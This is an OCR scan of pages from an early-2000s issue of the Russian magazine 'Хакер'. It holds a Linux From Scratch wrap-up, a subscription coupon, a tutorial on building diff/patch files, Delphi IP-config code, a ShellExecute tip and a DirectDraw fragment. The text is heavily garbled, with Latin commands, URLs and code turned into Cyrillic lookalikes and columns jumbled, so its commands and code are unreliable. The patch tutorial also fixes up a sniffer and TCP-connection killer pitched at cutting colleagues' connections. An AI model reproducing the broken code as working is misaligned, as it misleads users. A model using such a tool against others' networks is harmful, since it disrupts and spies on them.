Обращаю внимание, что после компиляции дІіЬс ус- 
танавливаем іпзіаіі-іод. Это я добавил от себя, в 
ЬРЗ-Ьоок этого нет, но в дальнейшем это сильно 
облегчит жизнь. Взять его можно здесь: 

Ьйр : //ргбоѵѵп Іоаб . зои гсеТогде . пеі/і пзіаі I - Іод/і пзіаіі - 
Іод-1.9.1аг.Ьг2 Смело устанавливаем: 
таке && 

ср іпзіаіі-іод /изг/Ьіп && 
ср іпзіаіі-іод. 1 /изг/зЬаге/тап/тапІ && 
ср іпзіаіі-іод.гс /еіе && 
ткбіг /ѵаг/і пзіаіі - Іодз && 
ІоисЬ/ѵаг/іпзІаІІ-Іодз/.йтезІатр 
После установки каждой программы вызывай іпзіаіі- 
Іод Іііепате, и в директории /ѵаг/і пзіаіі - Іодз получа- 
ем в директории /ѵаг/і пзіаі I - Іодз текстовый файл с 
именем йіепате, содержащий имена установленных 
файлов. Теперь создаем профиль редактора ѵіт, 
конфигурируем дІіЬс, устанавливаем системное вре- 
мя, конфигурируем динамическую загрузку библио- 
тек, демон зузіодб, зЬабоѵѵ, зузѵіпіі, клавиатуру, 
сеть и т.д. После этого компилируем ядро, добав- 
ляем его в І_ІІ_0 и получаем свежеустановленный и 
вполне работоспособный І_іпих. Инструкция по 
сборке написана нормально, и при минимальном 
знании английского языка ее можно понять. И еще: 
по умолчанию І_Р5 совершенно небезопасен =/, по- 
этому этому аспекту надо уделить повышен- 
ное внимание. 

Ну вот, вроде и все. Будут вопросы - пиши, 
чем смогу - помогу. 
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ОТКРЫТА РЕДАКЦИОННАЯ 
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ТЕПЕРЬ ВЫ МОЖЕТЕ ОФОРМИТЬ РЕДАКЦИОННУЮ ПОДПИСКУ НА ЛЮБОЙ РОССИЙСКИЙ АДРЕС 



ДЛЯ ЭТОГО НЕОБХОДИМО: 



1 . Заполнить подписной купон (или 
его ксерокопию) 

2. Заполнить квитанцию (или 
ксерокопию). Стоимость подписки 
заполняется из расчета 

Хакер - 80 рублей 

и Хакер+сЬ - 110 рублей за 1 журнал. 
В стоимость подписки включена 
доставка заказной бандеролью. 

3. Перечислить стоимость подписки 
через Сбербанк. 

4. Обязательно прислать в 
редакцию копию оплаченной 
квитанции с четко заполненным 
купоном 

или по адресу: 

103031, Москва, Дмитровский 
переулок, д 4, строение 2, 

ООО "Гейм Лэнд", с 
пометкой "Редакционная 
подписка" 

или по электронной почте 
зиЬзсгіЬе_х@датеІапсІ.ги 
или по факсу 924-9694 

(с пометкой "редакционная 
подписка"). 



При оформлении годовой подписки 
на 2003 год - 2 свежих номера в 
подарок!!! 

При оформлении подписки на 1-е 
полугодие 2003 года - один 
журнала в подарок!!! 



ВНИМАНИЕ! 



Подписка производится с 
номера, выходящего через 
один календарный месяц после 
оплаты. Например, если вы 
производите оплату в 
Сентябре, то подписку можете 
оформить с ноября. 
Подписка оформляется на 
любой срок. 

СПРАВКИ 

по электронной почте 
8иЬ§сгіЬе_х@датеІапсІ.ги 
или по тел. (095)292-3908, 
292-5463 



ПОДПИСНОЙ КУПОН (редакционная подписка) 

Прошу оформить подписку на журнал "Хакер" 

2002г. □□□□□□□□□□□□ 
2003г. □□□□□□□□□□□□ 

(месяцы) 

(отметьте квадраты, соответствующие календарным месяцам выхода журнала, 
которые вы хотели бы получить) 

Ф.И.О. 



>€■ 



ПОЧТОВЫЙ АДРЕС: индекс 



область/край 



Г ород/село 



ул. 



Дом 



корп. 



код 



Сумма оплаты 



Подпись 



Дата 



е-таіі: 



Копия платежного поручения прилагается. 



К- 



Извещение 



Кассир 



Квитанция 

Кассир 



ИНН 7729410015 



ОООТеймЛэнд" 



р/с №40702810700010298407 



к/с №30101810300000000545 



БИК 044525545 



Плательщик 



Адрес (с индексом) 



Назначение платежа 
Оплата журнала "Хакер" 



Сумма 



200 г. 



Подпись плательщика 



ИНН 7729410015 



ОООТеймЛэнд" 



р/с №40702810700010298407 



к/с №30101810300000000545 



БИК 044525545 



Плательщик 



Адрес (с индексом) 



Назначение платежа 
Оплата журнала "Хакер" 




Сумма 


за 


200_г. 





Подпись плательщика 












ВСЯ ТЕХНОЛОГИЯ СОЗДАНИЯ ПАТЧЕН 



Салют, читатель! Наверняка за все время сидения в * никсах ты не раз попадал в такую ситуацию, когда путем неимоверных 
усилий, нагона тонны трафика или траты драгоценного диалапного времени ты, наконец, качнул архинужную прогу, 
но облом-с: она не скомпилилась. После этого в квартире/офисе/ІНС-канале начинает стоять трехэтажный <сепзогесІ> 
вместе с мыслями по поводу затраченного времени. Однако сухари заранее сушить не стоит. Давай посмотрим, 
что можно сделать в подобной ситуации. 



Выявляем корень 



В чем причина неудачной компиляции? Попро- 
буем ответить на этот вопрос. Итак, программа 
в большинстве случаев не собирается из-за: 

1 ) Отсутствия в системе нужных ей заголовков 
и библиотек (например, пакетов -сіеѵеі; для се- 
тевых утилит же обычно требуются ІіЬрсар, ІіЬ- 
пісіз, ІіЬпеІ). 

2) Более ранних версий библиотек, чем требуе- 
мые программой. 

3) Неверного для твоей системы указания пу- 
тей, например, к заголовкам ядра или 
некоторым зависимостям. 

4) Синтаксических ошибок в сырцах, сделанных 
иногда даже сознательно, к примеру, когда ко- 
дер сам не хочет, чтобы его прогу кто-то ском- 
пилил. Такое бывает в исходниках потенциально 
очень опасных эксплоитов, дабы отстранить от 
их использования добрую часть зсгірі кісісііез. 

За экзамплом далеко ходить не нужно: стоит 
вспомнить недавний 7350пх1.с для ВШ 8.2.x. 

5) Ошибок в компоновке и т.д. 



Выгоняем всех 
из Интернета 



На бескрайних просторах всемирной паутины 
мною была добыта утилитка рИоепіх 
(бНр://ѵѵѵѵѵѵ.Іеат- 

Іезо.пеѴгеІеазез/рІіоепіх.Іаг.ді), сочетающая в 
себе 

возможности сниффера (правда, очень бедные, 
но для образовательных целей может приго- 
диться) и роль убийцы ТСР-соединений для 
вполне безобидных 

целей: уменьшить количество входящего 
трафика и высвободить время сотрудникам 
конторы/хз-чего-там для работы ;). Распако- 
вав архив: Іаг іхѵі рГіоепіх.Іаг.дг, переходим 
в созданный каталог, 



дрожащими руками набираем таке аІІ и через 
пару секунд видим несколько предупреждений 
и ошибку сборки программы. Но не удивляйся - 
именно поэтому мы и скачали эту программу, 
чтобы заставить ее таки нормально скомпи- 
литься. В этот момент главное не забиваться в 
угол, не перегружаться в винду и не 
паниковать. Давай лучше посмотрим в файл 
раскеіс, собственно, главного виновника про- 
исшедшего, особенно на номера строк и те 
функции, которые к нам попали в зісіегг. 

При внимательном рассмотрении можно уви- 
деть, что у ѵѵагпіпд'овых функций не хватает 
приставки "ІіЬпеІ_" (моя /беѵ/іпШіІіоп подсказы- 
вает, что программер умышленно сделал такие 
ошибки, век ирки не видать :). Например, ви- 
дим функцию сІо сИескзит (Ьігі, ІРРРОТО ТСР, 
ТОР Н), где произошла ошибка, и доводим до 
ума: 

ІіЬпеІ сІо_сГіескзит (ЬиГ, ІРРВОТО_ТСР, ТСР_Н). 
Разобрался? Отлично! Но не спеши править 
сырцы - сначала сделаем резервную копию 
раскеіс: ср раскеіс раскеіс. огід 
Все, вносим необходимые изменения в раскеіс 
и делаем патч: 

сШ -Маиг раскеіс.огід раскеіс > рГюепіх.раІсГі 
Программа сШ, выходной поток которой мы пе- 
ренаправили в новый файл, как раз 
занимается тем, что находит разницу между со- 
держимым текстовых файлов. 

Теперь рііоепіх.раісіі запиши в какое-нибудь 
другое место и стирай диру рбоепіх 
вместе с контентом. Пришло время, дорогой 
мой друг, проверить наш патч в действии! 



Патч представляет собой простой 
текст отличий между старой и новой 
версиями файла. Для использовании 
заплатки необходимо передать вы- 
ходной поток программы сШ на вход 
утилиты раісіі. Текстовка патча со- 
держит информацию по удалению, 



добавлению или замене в файле некоторых участков 
кода. Патчи получили широкое распространение 
благодаря своему гораздо меньшему размеру, чем 
полное дерево исходников программного пакета. По- 
дробнее о сШ, раісіі и их параметрах можно ознако- 
миться, как всегда, в манах: шап сШ, шап раІсИ. 

Итак, заново распаковываем архив, переходим в появившийся ка- 
талог, копируем туда наш рбоепіх.раісб и патчим: 
раісіі -рО < рбоепіх. раісіі 

Готово! Теперь можно компилить. Как видишь, прога заме- 
чательно и без вопросов собралась ;). 
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Пропатченный ріюепіх в работе 



Примечание: если у тебя несколько се- 
тевых карточек, то тебе может понадо- 
биться изменить значение переменной 
в файле рИоепіх.с , строка 23: сііаг 
Чпіегіасе = "еНіО"; для того, чтобы за- 
ставить сниффер прослушивать нужный 
тебе сетевой интерфейс. 



Для уменьшения патча в размерах архивируем его: 
діір -9ѵ ріюепіх. раісіі 

Не рекомендуется использовать архиватор Ьгір2, не- 
смотря на его лучшую степень компрессии, так как 
его, по умолчанию, может не оказаться в некоторых 
системах, например, в ОрепВЗО. 

Все, сШ'чик уже можно выкладывать на своей хоум- 
паге, насильно распространять среди друзей или от- 
сылать девелоперу по дефолту некомпилящейся тул- 
зы, чтобы исправить найденные в ней тобой баги 
и/или добавить новую рулезную фичу :). 



Зашифруй себя самого 



Для закрепления материала :) давай рассмотрим еще 
один случай создания патча на примере отличной 
приблуды ВезЮгурІ, служащей для создания под ли- 
нуксом криптованных дисков. Она поддерживает не- 
сколько алгоритмов шифрования, в том числе 
ВІоѵѵІізб, и имеет возможность создания томов как с 
использованием файловой системы тзсіоз, так и ех12. 
Проблема заключается в том, что в различных дис- 
трибах Пингвина исходники и беасіег'ы ядра находят- 
ся в разных местах. Для решения данной коллизии 
разработчики ВезЮгурІ предлагают нам перекомпи- 
лить ядро, модули еіс. Но так как мы ленивые, мы 
пойдем принципиально другим путем ;). 

ВІоѵгіізН - симметричный алгоритм шиф- 
рования. Для шифрования и дешифров- 
ки используются одни и те же алгорит- 
мы и одинаковый секретный ключ. Неко- 
торые характеристики: разработан спе- 
циально для 32-битных машин, быстрее 
алгоритма ОЕ§, 64-битный блочный ши- 
фратор, ключ переменной длины до 448 
бит. В ОрепВЗО пароли по умолчанию 
шифруются именно им. 



Ниже по тексту мы глянем, как обстоят дела у этой 
проги с Веб Наі Ьазеб дистрибутивами. Распаковыва- 
емся: Іаг іх\4 ВезЮгурІ-0.8-9.1аг.д2 . Теперь попробуй 
для теста собрать: таке. Через некоторое время уви- 
дишь, что ошибка произошла в подкаталоге тоб-0.8- 
9. Лезем в эту поддиректорию, здесь нас будут инте- 
ресовать два файла с описаниями сборки: Макеіііе и 
Макейіе.аід . Как всегда, сначала делаем их копии: 
ср Макете МакеТіІе.огід 
ср Макейіе.аід МакеТМе.аІд.огід 
В обоих файлах в строчке КЕВ- 
МЕЫІ\ІСШ0Е_0ІВ = 
/изг/згс/ііпих/іпсіибе как раз со- 
держится инфа о местонахожде- 
нии заголовков нашего ядрышка. 
Так как она не верна, то нам при- 
дется наставить ее на путь истин- 
ный :): 

КЕВІМѴЕВ8ЮМ = $(зііеІІ 
/Ьіп/ипате -г) 

КЕВИЕЕ ІІЧСШОЕ ЭІВ = /ІіЬ/тоб- 
иІе5/$(КЕВМ_ѴЕВ8ЮІ\І)/- 
Ьиііб/іпсіибе/ 

Тем самым мы также сделали на- 
ше описание КЕРИЕИ МСІ1ЮЕ0ІВ независимым от 
версии ядра. 

После окончания правки переходим на каталог выше: 
сб .. и кол басим патч, хотя, чтобы обрести в некото- 
рых кругах известность, можно добавить в него копи- 
лефты и пастерайты первой строчкой: 
есію \$ВезЮгурІ ѵО.8-9: Ьсгурі.раісіі ѵі .0, 21/04/2002 
Апбгизіюск апбгизІюск@1гот ги . сот Ехр$ > Ьсгуріраісіі 
сШ -Нш тоб-0.8-9/МакейІе.огід тоб-0.8-9/МакеТМе 
» ЬсгурІраІсИ 




Работает как лошадка :) 

сШ -Маиг тоб-0.8-9/МакейІе.аІд.огід тоб-0.8- 

9/МакейІе.аІд » Ьсгуріраісб 

Да, и крайне желательно отдельным файлом внести 

для потомков пояснения и описание к твоему патчу: 

Іоисб ЬсгурІраІсіі.М 

ѵі ЬсгурІраІсіі.М 

С примерно таким содержанием: 

"Данный патч исправляет ошибки при компиляции 

ВезЮгурІ ѵО.8.9 для Реб Наі Ьазеб дистрибутивов. 

Использование патча: 

раісб -р0 < ЬсгурІраІсИ 

Компиляция и инсталляция ВезЮгурІ: 

таке 

таке іпзіаІІ 
Запуск: 

/еіс/гс.б/іпіІб/ЬсгурІ зіаіі " 

Вот и все, осталось только создать архив: 

Іаг Ы Ьсгурі-раІсИ.іаг Ьсгуріраісіі ЬсгурІраІсіі.М 
діір -9ѵ Ьсгурі-раісіі.іаг 

На выходе получим уже известный тебе таргэзе. 



Общие рекомендации 
по уламыванию 



Перво-наперво проверяй контрольную сумму скачанных 
тобой файлов утилитой тббзит; внимательно читай 
прилагающуюся к проге документацию, особенно раз- 
делы про установку и "часто задаваемые вопросы", в 
народе известные как РАО; изучи список операционных 
систем и платформ, на которых она была протестиро- 
вана; если тузла действительно стоящая, то подпишись 
на ее список рассылки; не забывай, что новая версия 
не всегда лучше старой, также, если новая не собира- 
ется, попробуй слить версию на ревизию ниже или во- 
обще поискать аналог; не старайся качать файлы, име- 
ющие в названии слова: Іезі, рге, ипзІаЫе, беѵеіор- 
тепі зіаде - эти версии выпускаются только для тесте- 
ров, разработчиков и сорвиголов, желающих раньше 
всех заценить новые баги и фичи; попробуй поискать 
уже собранный пакадж для твоего дистриба; не бойся 
править сырцы, хотя всегда обращай внимание - под 
какой лицензией распространяется прога :); вниматель- 
но просматривай предупреждения и/или ошибки (жела- 
тельно под рукой иметь справочник с их перечнем и 
описанием) компилятора, попытайся понять откуда рас- 
тут грабли; пробуй собрать другим компилером/другой 
версией твоего компилятора (например, некоторые 
проги просто не выносят дсс версий 2.7х и редхатов- 
ский 2.96, идеальным вариантом будет использование 
пропатченного дсс 2.95.3); не ленись перед установкой 
проги набирать ./сопйдиге -Ітеір | тоге (если этот 
скрипт присутствует), "поиграй" с его аргументами и 
исключай все, что тебе не нужно: компактней прога - 
меньше багов, меньше вероятности ошибки при компи- 
ляции, меньше места, меньше потенциальных проблем 
(зачем подвергать себя 
ненужному риску?); если 
ничего не помогло, и тво- 
их знаний в кодинге не 
хватает, чтобы залатать 
ошибки, не стесняйся, пи- 
ши отчет либо разработ- 
чику (естественно, на анг- 
лийском, форма багрепор- 
та обычно прилагается), 
либо в список рассылки 
этой проги (только снача- 
ла ознакомься с архивом 
рассылки, чтобы избежать 
повторений - вдруг эту те- 
му уже 10 раз обсуждали) 
и в крайнем случае жди 
следующего релиза этой 
несдающейся тулзы. 

Конечно, можно на ночь затариться горючим, сесть за 
любимый комп, по правую руку от себя положив тол- 
стенную книжку по программингу на С, а по левую - 
еще более толстую по юниксу, и безвылазно втыкать, 
заморачиваться, дебагить, кодить, патчить еіс. Но, им- 
хо, лучшим вариантом будет обсуждение и решение 
трабл в цитадели хакеров, админов и адванчед узеров - 
ІВС. Это как спорт, как соревнование, когда 15-20 еди- 
номышленников на канале жуют, раскладывают по по- 
лочкам, опять собирают и все же заставляют работать 
капризную программу. Так что приобщайся ;). 



Вместо Р.8./2 



К сожалению, в рамках небольшой статьи невозможно 
охватить все, но я надеюсь, что основа для проникнове- 
ния в сокровенные места программ у тебя уже появилась 
(про девчонок тоже не забывай =). На этом пока все, на- ^ 
деюсь, я тебя не утомил, шли патчи, мыло наверху. 




Ньюсы Террум 



РС 2опе 



ДрІ АпсІгизИоск поі зирроііесі Ьу кегпеі 
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Взлом 








ИНТЕРНЕТ 



и ШТІШ 



ТЕЛЕФОНИЯ 




ДЛЯ ВСЕХ 

Коммутируемый доступ 
Широкополосный доступ 
Интернет-телефония 
Информационные услуги 
Домашние сети 
Хостинг 
Почта 



СЕНТЯБРЯ ™ 

таоиФы лни 



ИГО ч к 



шф, г. Москва 
С 09 30 до 20 00 часов -0,60 у.е./час 
вчера мД повременной тариф, г. Москва 
20:00 до 02:00 часов - 0,75 у.е. /час 
Ночной повременной та р и ф, г. Москва 

й ШМшЩІЖщт*§ і 

__ _ _ |НЬ И НОЧЬ* I 

40 ^аспв днем и бесплатно ночью 
)2:00 до 09:30 часов - 24,5 у.е. /меся! 



пНр://(оспка.ги 



Ш, КРСІ'ОПОЛОСНІ Ііі ДС С ТУП: 

тарифы Московский ' и ' Столичный" подтючеит от $166* 

а( 'п*ч*т' ■ ■ л ■ і > ’ $ і ' 

*Цеь* - 1 1 ы - ц яири : Ші « у -“й ■ і НДС и НП. 



ТЕПЕРЬ ВЫ МОЖЕТЕ ДОЛЬШЕ РАБОТАТЬ В ИНТЕРНЕТЕ 




ІР сота СОБСТВЕННЫМИ РУКАМИ 

|-^ НоітИчс ака Фленов Михаил (зтігпапсіг@таіІ.ги) 
ѵѵѵѵѵѵ. суйзоН . сот/ѵг- оп I і пе 



1Р Сопйд собст 




Ты, наверно, помнишь такую 

преследовала нас на протяжении в , ^ оппппгям в Наск-РАО, тебе тожѳ. 

мне эта утилита очень нравилась, “ ’^ у " Б ° Р за ®о что в ѴУіпЫТ («іп2000, 

_ I ХЛ. »/чт/іІГ.ЛПІІПО 



НоггНіс ака Фленов Михаил зтігпапаг@таіІ.ш штъсусізоП.согп/ѵг-опІіпе 



Еце немного Ыѵо 



Ч тобы получить информацию, которую нам показывала утилита ѵшрс|д ; 
Ір&роа.раз, 

файлы вместе с исходником на моем сайте после выхода журнала 

где ѵ еб : 

установлен РеТрЫ. Или можно поместить эти файлы прямо в ту же диру, где удут 
исходники программы, главное, чтобы Эеірбі их нашел. 



Готовность №1 



и так, будем считать, что файлы 
ты нашел и засунул их в... Ну, в 
общем, с местом расположения 
ты тоже должен был уже определиться. 
Запускай Оеірбі и создавай новый про- 
ект. Сразу же перейди в код и добавь в 
раздел изез имена следующих модулей: 
ІрНІрАрі, ІрТурез, ІрІГСопзІ Готово? Ну 
тогда давай дизайнить форму: 

Немного слов о дизайне. По всей фор- 
ме у меня растянут компонент 
РадеСопЫ. На нем я создал две за- 
кладки: ІР Сопіід и ЕВіетеІ іпіо. Сего- 
дня мы научимся получать всю инфор- 
мацию, которая расположена на пер- 
вой закладке, а вторую оставим на 
следующий раз. 

Теперь создай обработчик события ОпСЬапде для компонента ПвдЛоп*гоІ1- 

Нйігвгдайг 

закладку, то напиши в этом обработчике следующий код. 

й РадеСопТгоІІ .АсІіѵеРадеЫех=0 №еп 
йеІІРІпІо; 

ОеТІРІпТо; 




Это я объявил эту злосчастную процедуру. Теперь нажми сочетания пимпочек 
С1П+5Ш+С, и йеірбі подготовит для тебя заготовку для новой проц дур ■ 

ргосесіиге ТЗузІетіпІоРогт.ОеіАсіарІеіТпЬ; 

Ьедіп 

епсі; 

Внутренность процедуры будем рассматривать чмтко (только самое 
необходимое), а более подробно сможешь узнать из исходника. 

Егг : =аеіЫе1ѵюгкРагат5(піІ , РіхесіІпІоЗіге) ; 

(ЕггОО) апсі (Егг<>ЕВПОП_ВІІРРЕП_ОѴЕВРЮѴѴ) ІИеп 

Ьедіп . 

НозіЫатеІаЬеі.СарІіоп:- Еггог , 
ехіі; 

рРіхесІІп{о:=РР1ХЕО_1ЫРО(СІоЬаІАІІос(СРТВ, РіхебІпіоЗіге)); 
Се№Іе 1 ѵк>гкРагатз(рРіхесІІп(о, РіхесНп(оЗіге); 

Попвпр ЧТО надо вызвать - функцию ОеШеЬмогкРагатз с двумя параметрами. 

інёнш 

была^какая-то ошибка и надо вывести об 

этом сообщение и выйти из процедуры. . .. . рйхеО ІЫРО куда 

После этого я выделяю память для структуры рВхебІп(о типа РРІХЬи.імш, куда 
ш будем записывать инфу. Память нужно выделить в том количестве, которо 

ЕГя^™ только теперь в качестве первого 

параметра я указываю струюуру, куда будет записана вся необходимая инфа. 



Рисунок 1. Форма будущей тулзы 



Вся ннсра, Ісаіс на ладони 

В 



принципе, все необходимое мы получили, и оно находится в структуре 
рріхебіпіо. Так что остается только рассмотреть ее. 

1 пРіхрсІІпІб ИозШате - имя хоста (твоего компа); „ 

« » -»-г г 

типа У р 1 Р_А 00 П_ЗТП 1 Пе, через которую и можно получить следующий адр 
сервера. В общем случае код будет выглядеть так. 



рАсісігЗІг: =рРіхесіІп*о . ОпзЗегѵегІ-ізІ. Ыехі; 



ШІсодинг 



Добавь в разделе ргіѵаіе нашей формы следующее: 
ргіѵаіе 

ргосесіиге ОеІІРІпІо; 



шііііе (рАббг51г<>піІ) бо 

Ь р дбб гЗІт . I рАббтезз . 3 - здесь находится следующий адрес 
рАббгЗІг : =рАббг51г . Ыехі - получить еще адрес, если есть 
епсі; 








Вкус на грани возможного 5Г/М0Я01 






ІР СОЫРІО СОБСТВЕННЫМИ РУКАМИ 

|-^ НоггіГіс ака Фленов Михаил (зтігпапс1г@таіІ.ги) 
ѵѵѵѵѵѵ.сусізои.сот/ѵг-опііпе 



ЯТГы спрсшш0ол 

<???> Как запустить другую программу из Эеірііі? 

После Я ^тт Л пп В г Р Т ДеЛ ^ НуЖН ° ручками п Р 0І ™сать имя модуля зИеІІарі 

СЛѲ ЭТОГО ПО СОбьіТИЮ КНОПКИ (ИЛИ Другому СОбьіТИЮ КОТООЫМ ТЫ ѵпчріііь 

запустить стороннюю программу) нужно написать код: 

5НеІІЕхесиІе(НапсІІе, піі, ‘сДргодгатпате.ехе’, ‘Ус:\’ 5ѴѴ 5НСМЛ- 
Как видишь, у этой функции есть аж 6 параметров- ' ' ' 

можноГпГ КН0 ' ЗДеСЬ МЫ УКаЗЫВаеМ Нап(11е - окно своей программы, но 

на СТ Р 0К Ѵ’ которая говорит, что надо делать. Если ты хочешь 
ГГ программу> то Рекомендую устанавливать піі. Возможны варианты- 

Ія І°ХЗой МЫ) ’ РгіП ‘ ІДЛЯ РаСПеШКИ Д0КуМеНТ ° В> ИШ ехрІоге 

“Г ИЛИ ПР0СТ ° ИМЯ аа ***™> Фейпа. Желательно указывать 

4. Параметры, которые надо передать в программу 

О ГГГ Я Т умолчани| °' в которой должна работать программа 
^Команда отображения. Команд очень много, но чаще всего используется 
оѴѴ ЗНОѴѴдля нормального отображения. используется 

Чтобы загрузить страничку в ІЕ можно написать так: 

ЗііеНЕхесиіе(НапсІІе, піі, Шр://ѵѵтхакер.гіГ, ‘V’, ЗѴѴ ЗНОѴѴ)- 
Чтобы создать письмо кому-нибудь, пишем так: 

ЗІіеІІЕхесиіе(НапсІІе, піі, ‘МаіІТо:5тігпапсІг@таіІ.ги’, зѵѵ 5НОѴѴ)- 




3. р РіхесІ I пГо . N осІеТ уре - тип узла. Здесь 
хранится целое число. Если оно равно 1 , 
то значит тип узла «Вгоасісазі», 2 - «Реег 
іо реег», 4 - «Міхеб», 8 - «НуЬгісІ». 

4. рЕіхесІІпіо.ЗсореІсІ - идентификатор 
ІЧеіВЮЗ (ЫеІВІОЗ Зсоре Ю). 

5. рЕіхесІІпіо.ЕпаЫеЯоиііпд - включена ли 
маршрутизация ІР. Если здесь ігие, то 
маршрутизацию включена, иначе 
отключена. 

6. рЕіхесІІпіо. ЕпаЫеРгоху - включен ли 
ѴѴІІЧЗ проксик. Если здесь ігие, то 
проксик включен, иначе отключен. 



І)І5соткс^ 



В ызов функции СеіІРІпіо можно также засунуть и по событию Оп9Нпш ппа 
главной формы, чтобы информация обновлялась и при старте программы 

На этом я спешу распрощаться до следующего номера ][, где мы разберемся как 
П(Ю ™' В НѲЙ бУДеТ ™ получнтТ^щий 

адрес твоей машины, маску сети, адреса различных сеовепов тнгр \л/імо\ 



Лжттагуогрсишм 

ргосебиге ТЗузІетІпбтРогт.беЛРІпбг 
ѵаг ’ 

РіхесІІп^оЗіге, ЕгпОѴѴОВО; 
рРіхесІІп-Го : РРІХЕО_І N РО ; ’ 
рАсісІгЗіг.РІР _АООВ_5ТтмС; 

Ьедіп 

РіхесІІпГоЗіге : =0 ; 

Егг:=СеШе(ѵгогкРагатз(піІ, РіхесІІпГоЗіге); 

Ьед(п <>0) аПСІ (&Г<>ЕВВОВ - Ви|:|:ЕВ -ОѴЕНРІОѴѴ) (Иеп 

НозШатеЬаЬе! . Сарііоп : = 5 Еггог ’ ■ 
ехіі; 
епсі; 

г^ГГІ.п РРІХЕ0 - ІМРО(СІоЬаІАІІОс(ертВ ’ Р'кебІпГоЗіге))- 
СеШе(жогкРагатз(рРіхесІІпіо, РіхебІпГоЗіте); ’ 

НозШатеІаЬеІ.Сар«оп:=5(гРа$(рРіхесІІпЛ.Но8Шате); 

ОМЗЫаШох. Иетз. СІеаг; 

0№ийВох.1*етз.Ас1с1(3*гРа5(рИхес11пГо.Оп$5егуегиз*.1рАс1с1ге88.3)); 

рАсІбг5(г:=рРіхебІпГо . ОпзЗегѵегизі. ИехТ; 

«Ііііе (рАббгЗігОпіІ) сіо 

пДНн 1 Г° Х »Гс АсІгі(5 * гРа5(рА ^ г5 * ГІ Р Ас)сІге 53.5)); 

рАс!сІг5іг:=рАсісІг5іг. Ыех!: 
епсі; 

сазе рРіхесІІпТо.МосІеТуре оі 
1 : МосІеТуреІаЬеІ.Сар1іоп:=’ВгоасІсазі 5 ; 

2 : МосІеТуреІаЬеІ.Сарііоп:=’Реег Іо реег’- 
4: МогіеТуреІаЬеІ.СарІіоп:=’МіхесГ; 

8 : МосІеТуреІ.аЬеІ . Сарііоп : = * НуЬгісІ ’■ 
епсі; ’ 

Ме1ВІ035сореІаЬеІ.Сарііоп:=рРіхесІІп^о.5сореІсІ; 

№ рРіхесІІп7о.ЕпаЫеПоиІтд>0 Шеп 
ІРПоийпд1.аЬеІ . Сарііоп : = ’ Ѵез ’ 
еізе 

I РВоийпді.аЬеІ . Сарйоп : = ’ N 0 ’ ; 

рРіхесІІпІо.ЕпаЫеРгохуХ) іЬеп 
ѴѴІ МЗРгохуЬаЬе! . Сарііоп : = ’ Ѵез ’ 
еізе 

ѴШ8РгохуІ.аЬеІ . Сарйоп : = ’ N 0 ’ ; 

рРіхесИп^о.ЕпаЫеОпз>0 Шеп 
МеШІОЗЯезоІиІіоп ЬаЬеІ . Сарйоп : = ’ Ѵез ’ 
еізе 

МеіВІОЗНезоІийоп1.аЬеІ . Сарііоп : = ’ N 0 ’ ■ 
епсі; ’ 



Р.З.У меня к тебе просьба, на сто баксов :). Не пиши мне бппі 

вопросами^ нТвТо™ РУбР " КИ " К ° ДИНГ ” меня каждЬ1Й день * 
книги я мег. сос ™"“" всем рассказывать то, о чем т 
пппг я У что-то подсказать, где-то помочь, но не больші 

толькоѴа И те воппог " а ™ СЭП> ^вообще нереальны. Я отве 
леший пп и Р ЬІ ’ ГД6 ответ за ймет несколько строчек. Це 




“ГІЕ 3 ^ ТПІСН 




Иногда возникает необходи- 
мость создать пустой файл 
(например .Іод-файл) Для это- 
го можно использовать коман- 
ду іоисіі, предназначенную 
для изменения отметок вре- 
мени последнего доступа к 
файлу. Если файл не сущест- 
вует, он будет создан. Напри- 
мер, нужно создать .Іод-файл 
для Шрб-сервера АрасПе. По- 



сле выполнения команд: 

ІоисИ ІШрсІ-ассезз.Іод 
сііоѵѵп поЬосІу ІШрсІ- 
ассезз.Іод будет создан пус- 
той файл ІійрсІ-ассезз.Іод, 
принадлежащий пользовате- 
лю поЬосІу и готовый к про- 
токолированию работ ІШрсІ- 
сервера. 

зегде_Ы(Нд)ШЬох. ш 
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каждый стремится удивить... 



миі.тіР'.янв 

20МЕ 



Б эпоху высоких технологий нее труднее чем-то 
удивить, но у ‘'ЬоЕІіееЬ" есть шанс. Настало время 
ПОПЛЫТЬ СВОИ возможности. 






іѵШІеи І^сь-лв® іРиисИ 



Іаіеілсі Найдой 



1ІЧТЁЙІЧІТ 

ІОМЕ 



,МАѴ 

генчі 



СогЛ^5..0і;}кС.ор-ррІІ.«І 



Нонпьизтер один. а усп&ть надо лее-, 
ну р севу ю “найшь", по іінтерн&іу 
'■пииататыя", а чэте пообщаться, 
новую “игрушм* установить.,. 

Продвинутый" комплект 
для тех, кто стремится 
успеть ВСЁ! 



м, АрСітснін, тел.: 4095*1 7ВД1Н7, м. Бзгрттнмнш 4 . (ІК} 23 I -492 1. м. Лснинсішігі проспект. 

(ЮЗ* 137 ^оа н С^ШЙМ^ |ОТІ| 7&Ч-4Ш ЗД-і-ТІЭ. тшед И Шос-г-р Э*т>*й«ім р іи {ОТ*} 
ИМІЦ71М4М7, Нижнми Нсирцд. (В111) Г75ЛЙЗ. М2-77І. ОнсМ Н12) 137-775. 




Ж»ЧГ,Я ііісН.ги 



Спил Петербург. Компьютерные мир |в11 1 32? 0+00. К*н |Я1І* 125-321 Ь Дмфа {ЕП} ПО Я &М 



Кодинг 



ПЕРВАЯ АНИМАЦИЯ 



|-^ НоггіЛс ака Фленов Михаил (5тігпапс1г@таіІ.ги) 
ѵѵѵѵѵѵ.сусІзоТІ.сот/ѵг-опІіпе 




пробейте грасриіси 

я анимация 



по определенному адресу, а ИСП0 *“° в . а апоещен прямой доступ, поэтому 

0ЧѲНЬ ‘ГЖ Пр0бЛеМУ ’ 

НоігШс ака Фленов Михаил зтігпапсІг@таі..ги *ѵ™.субзоП.сот/ѵг-опІте 



Вес ЗА 

В некоторых случаях прямой доступ к видеопамяти - единственный способ 
повысить производительность системы. Хотя №есЮга« достаточно 
быстрая библиотека, она все же расходует некоторое процессорное время 

гС“~ние прямого доступа - в ОігесЮгаѵѵ 



пример 

написал небольшую процедуру РШРЫвІ, которая будет выводить на экран 



Я 



один пиксель в видеопамять поверхности. 



Ргосебиге РиІРіхеЦХ, V: Іпіедег; В, О, В : Вуіе); 



^Пеория 



ѵаг 

сіезс : ЮРЗиКРАСЕОЕЗСг; 

ѴаІие:ѴѴогсІ; 

І^оМетогу (@безс, ДОКМ; //Обнуляю структуру 
сІевс.ФмЗіге := ЗігеОЦбезс); //Заполняю размер 

ѵа!ие:=В ог (С зЫ 5) ог (И зЫ 11); //Вычисляю цвет 

